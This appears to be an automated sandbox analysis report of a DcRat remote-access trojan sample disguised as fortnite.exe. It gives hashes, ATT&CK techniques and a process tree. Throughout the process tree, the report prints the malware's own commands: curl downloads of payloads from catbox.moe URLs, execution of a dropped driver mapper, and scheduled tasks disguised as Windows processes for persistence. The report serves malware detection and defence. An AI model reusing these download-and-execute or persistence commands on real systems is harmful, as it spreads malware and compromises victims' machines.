dcrat | 01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f

General

Target

fortnite.exe
Size

1.2MB
MD5

4ce2034a29fa1119013b35414ac146c8
SHA1

1bc3b7ff47f254f3058f8030e7081d48e762b1fc
SHA256

01d4438ab4eb34157102cef468aeafe178500b30a557efb0a14bcf117e7eeb8f
SHA512

9ff48316eff7b1cf2317ce9c363b596a42100c0f2ff3c17f06c3efe8f3f4b8de93072f594c4dfc7f7cdbf9b4c768643448141ca78bab4db28122f88d3ad64e27
SSDEEP

24576:zMbpm9Z/zQfnkuGKF7rlpC+bKlAtc06Du:PrQnIGz

Score

10^/10

dcrat discovery infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4580	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4264	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2612	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1140	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3664	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5064	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4072	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3196	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	700	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3588	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4688	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2936	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2408	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4696	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	952	1420	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1332	1420	schtasks.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

fortnite.exephysmeme.exeWScript.exeMedal.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	fortnite.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Medal.exe

Executes dropped EXE 4 IoCs

Processes:

physmeme.exeMedal.exemapper.exedllhost.exe

pid process

3568 physmeme.exe
1548 Medal.exe
4052 mapper.exe
5088 dllhost.exe
Drops file in System32 directory 2 IoCs

Processes:

curl.execurl.exe

description ioc process

File created C:\Windows\System32\Tasks\driver.sys curl.exe
File created C:\Windows\System32\Tasks\mapper.exe curl.exe

pid	process
3568	physmeme.exe
1548	Medal.exe
4052	mapper.exe
5088	dllhost.exe

description	ioc	process
File created	C:\Windows\System32\Tasks\driver.sys	curl.exe
File created	C:\Windows\System32\Tasks\mapper.exe	curl.exe

Drops file in Program Files directory 5 IoCs

Processes:

Medal.exe

description	ioc	process
File created	C:\Program Files\Java\csrss.exe	Medal.exe
File opened for modification	C:\Program Files\Java\csrss.exe	Medal.exe
File created	C:\Program Files\Java\886983d96e3d3e	Medal.exe
File created	C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe	Medal.exe
File created	C:\Program Files\Windows NT\TableTextService\24dbde2999530e	Medal.exe

Drops file in Windows directory 3 IoCs

Processes:

Medal.execurl.exe

description	ioc	process
File created	C:\Windows\TAPI\dllhost.exe	Medal.exe
File created	C:\Windows\TAPI\5940a34987c991	Medal.exe
File created	C:\Windows\Speech\physmeme.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

physmeme.exeWScript.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXE

pid process

3292 PING.EXE

pid	process
3292	PING.EXE

Modifies registry class 2 IoCs

Processes:

physmeme.exeMedal.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	physmeme.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	Medal.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3292 PING.EXE

pid	process
3292	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
4580	schtasks.exe
2612	schtasks.exe
3588	schtasks.exe
4072	schtasks.exe
3196	schtasks.exe
2408	schtasks.exe
4264	schtasks.exe
5064	schtasks.exe
700	schtasks.exe
4688	schtasks.exe
2936	schtasks.exe
952	schtasks.exe
1332	schtasks.exe
1140	schtasks.exe
3664	schtasks.exe
2732	schtasks.exe
1840	schtasks.exe
4696	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Medal.exedllhost.exe

pid	process
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
1548	Medal.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Medal.exedllhost.exe

description pid process

Token: SeDebugPrivilege 1548 Medal.exe
Token: SeDebugPrivilege 5088 dllhost.exe

description	pid	process
Token: SeDebugPrivilege	1548	Medal.exe
Token: SeDebugPrivilege	5088	dllhost.exe

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

fortnite.execmd.exephysmeme.exeWScript.execmd.exeMedal.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3860 wrote to memory of 2804	3860	fortnite.exe	cmd.exe
PID 3860 wrote to memory of 2804	3860	fortnite.exe	cmd.exe
PID 3860 wrote to memory of 1980	3860	fortnite.exe	cmd.exe
PID 3860 wrote to memory of 1980	3860	fortnite.exe	cmd.exe
PID 1980 wrote to memory of 1172	1980	cmd.exe	curl.exe
PID 1980 wrote to memory of 1172	1980	cmd.exe	curl.exe
PID 3860 wrote to memory of 3568	3860	fortnite.exe	physmeme.exe
PID 3860 wrote to memory of 3568	3860	fortnite.exe	physmeme.exe
PID 3860 wrote to memory of 3568	3860	fortnite.exe	physmeme.exe
PID 3568 wrote to memory of 3560	3568	physmeme.exe	WScript.exe
PID 3568 wrote to memory of 3560	3568	physmeme.exe	WScript.exe
PID 3568 wrote to memory of 3560	3568	physmeme.exe	WScript.exe
PID 3560 wrote to memory of 1984	3560	WScript.exe	cmd.exe
PID 3560 wrote to memory of 1984	3560	WScript.exe	cmd.exe
PID 3560 wrote to memory of 1984	3560	WScript.exe	cmd.exe
PID 1984 wrote to memory of 1548	1984	cmd.exe	Medal.exe
PID 1984 wrote to memory of 1548	1984	cmd.exe	Medal.exe
PID 1548 wrote to memory of 1048	1548	Medal.exe	cmd.exe
PID 1548 wrote to memory of 1048	1548	Medal.exe	cmd.exe
PID 1048 wrote to memory of 4236	1048	cmd.exe	chcp.com
PID 1048 wrote to memory of 4236	1048	cmd.exe	chcp.com
PID 1048 wrote to memory of 3292	1048	cmd.exe	PING.EXE
PID 1048 wrote to memory of 3292	1048	cmd.exe	PING.EXE
PID 3860 wrote to memory of 3628	3860	fortnite.exe	cmd.exe
PID 3860 wrote to memory of 3628	3860	fortnite.exe	cmd.exe
PID 3628 wrote to memory of 2600	3628	cmd.exe	curl.exe
PID 3628 wrote to memory of 2600	3628	cmd.exe	curl.exe
PID 3860 wrote to memory of 1124	3860	fortnite.exe	cmd.exe
PID 3860 wrote to memory of 1124	3860	fortnite.exe	cmd.exe
PID 1124 wrote to memory of 3376	1124	cmd.exe	curl.exe
PID 1124 wrote to memory of 3376	1124	cmd.exe	curl.exe
PID 3860 wrote to memory of 4112	3860	fortnite.exe	cmd.exe
PID 3860 wrote to memory of 4112	3860	fortnite.exe	cmd.exe
PID 4112 wrote to memory of 4052	4112	cmd.exe	mapper.exe
PID 4112 wrote to memory of 4052	4112	cmd.exe	mapper.exe
PID 1048 wrote to memory of 5088	1048	cmd.exe	dllhost.exe
PID 1048 wrote to memory of 5088	1048	cmd.exe	dllhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/t3twl8.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Drops file in Windows directory
    PID:1172
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1984
    - - C:\Medal\Medal.exe
        
        "C:\Medal/Medal.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1548
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\a80SBX4wUh.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1048
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:4236
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3292
        
        C:\Windows\TAPI\dllhost.exe
        
        "C:\Windows\TAPI\dllhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/5yimk7.sys --output C:\Windows\System32\Tasks\driver.sys
    3⤵
    - Drops file in System32 directory
    PID:2600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\system32\curl.exe
    curl --silent https://files.catbox.moe/wvsaqx.bin --output C:\Windows\System32\Tasks\mapper.exe
    3⤵
    - Drops file in System32 directory
    PID:3376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\System32\Tasks\mapper.exe
    C:\Windows\System32\Tasks\mapper.exe C:\Windows\System32\Tasks\driver.sys
    3⤵
    - Executes dropped EXE
    PID:4052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4580

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows NT\TableTextService\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 11 /tr "'C:\Users\Public\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\Public\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 13 /tr "'C:\Users\Public\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Windows\TAPI\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\TAPI\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Windows\TAPI\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Medal\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Medal\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Medal\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Java\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 12 /tr "'C:\Medal\Medal.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Medal" /sc ONLOGON /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MedalM" /sc MINUTE /mo 5 /tr "'C:\Medal\Medal.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Medal\Fua65ZRdZNJ5OJAqSXb7513NtPonCq4dK3Ubpg1B.bat

Filesize
63B

MD5
e24619181276af563705f4b1bed29490

SHA1
fddac27290319f69543f5330fe97c122a8a01376

SHA256
eee937e02edcd36de3ed7658c9ad9d79844502c8553a7c244b2b154aa9ffec05

SHA512
1898a5e2a52f2f34466dfd9e1b1149b36052874b6be432dd9301ecfa6bc3a964dca6980b8db54ddcf8ef24a95792efcaffeb09aceb7a04304a0d18f4d0ce0591

Download Submit
C:\Medal\LziQ5Qlyzu0f0C5NtfHJq0w.vbe

Filesize
224B

MD5
96d43070e1e39d421c53a2f8dca13fc6

SHA1
07417cccceddbf8d5f5b48dec0b2e08d53a4754f

SHA256
0dab986e5c533631946e27cdbb5147e68b9eb3008c1add60d21a59cd7d964314

SHA512
9fc0ee5ac42bca7c7ee7584baa5be6907fc750378d037d56e075a21c4fe8eaeb3efac3e9fb6087a70a6ad01dcebf05d2462f2463daa8063b4047c11e5364d398

Download Submit
C:\Medal\Medal.exe

Filesize
1.8MB

MD5
4f66bbfed3a524398bd0267ed974ccbc

SHA1
b2567397dc823412d87a23428c7833ff74586b7d

SHA256
fa05b7f28eb1df0447998b89a08aa96453b0f3240c31489900d178862eaa80d8

SHA512
bc4de61adb5f56c66043a2617ebfcc9f4e82d36e48dbdc9178695f9466d554eb364d69829490ff43100e8cb457ce7e78b2e277a3cf1733edf32c0154e6f56d9f

Download Submit
C:\Users\Admin\AppData\Local\Temp\a80SBX4wUh.bat

Filesize
155B

MD5
1a1ab1bca2b292e931f766a31a4389d4

SHA1
f4b47186d37dbb481c58806803bba3dfc9290168

SHA256
d8a081074a79ed0431f7de830fd3586fe9a2458c49895b7554408d90c0297f76

SHA512
18fe9ceac07f76697e76b5839e148c17c56cd171c83d2ea5281519751f83d356ede8eeabdf11644ee9a10187f0bc570fbedc8bb17fad21b4677eab27fc299a12

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
f4620c0afa8e21897509b2e7215097f5

SHA1
af216ca6105e271a3fb45a23c10ee7cf3158b7e1

SHA256
8daf7dcdf256d7de40d33e5550dc5e8bbf887b8c4b7f49c79a15c96dad867f82

SHA512
68b875acc06d9c3796f49377b5b25a5e8b9a380221eea59e4274249ca7d2bff10c3fc5edf50eae5da726afea882e0e777af86af25be7b57c8fbfd70448d8d7dd

Download Submit
C:\Windows\System32\Tasks\driver.sys

Filesize
12KB

MD5
10a7579c03da9baac0f2efc69673d8c2

SHA1
acd27171757c05216665a332450f0604b33b07d5

SHA256
797c199601f2dcee255c24da2507ba435f03dcee0fdadbe348023aa75ebb2ad3

SHA512
a9cb4c7765e34bb3d8dc1356e37dfeca72e713731c036a3eb48bf69daac6c1f45910409e24ec01e1b13cd9d5d0cad708f1483cd83dcec00566cb307652fe7233

Download Submit
C:\Windows\System32\Tasks\mapper.exe

Filesize
530KB

MD5
54ed683eba9340abf6783bd8d7b39445

SHA1
950e3c11c71354097c8440529b31f8ac2b3c32a8

SHA256
2d0a9d5ca563ffa82a974903bb43411b22c863311ec926449f08d16f483e4e70

SHA512
9ff8c110823bad1e0a79a810b151e1d5557022080af0c8aaa9ff76996bd040747346f62459c50468cf86f49389c0e5fb7f057e9bd30fa31fed49ae5692d50ae2

Download Submit
memory/1548-19-0x0000000002C60000-0x0000000002C7C000-memory.dmp

Filesize
112KB

Download
memory/1548-22-0x0000000002C80000-0x0000000002C98000-memory.dmp

Filesize
96KB

Download
memory/1548-24-0x0000000002C40000-0x0000000002C4E000-memory.dmp

Filesize
56KB

Download
memory/1548-20-0x000000001C2C0000-0x000000001C310000-memory.dmp

Filesize
320KB

Download
memory/1548-17-0x0000000001340000-0x000000000134E000-memory.dmp

Filesize
56KB

Download
memory/1548-15-0x0000000000840000-0x0000000000A1E000-memory.dmp

Filesize
1.9MB

Download
memory/4052-48-0x00007FF6B42E0000-0x00007FF6B4391000-memory.dmp

Filesize
708KB

Download
memory/4052-56-0x00007FF6B42E0000-0x00007FF6B4391000-memory.dmp

Filesize
708KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads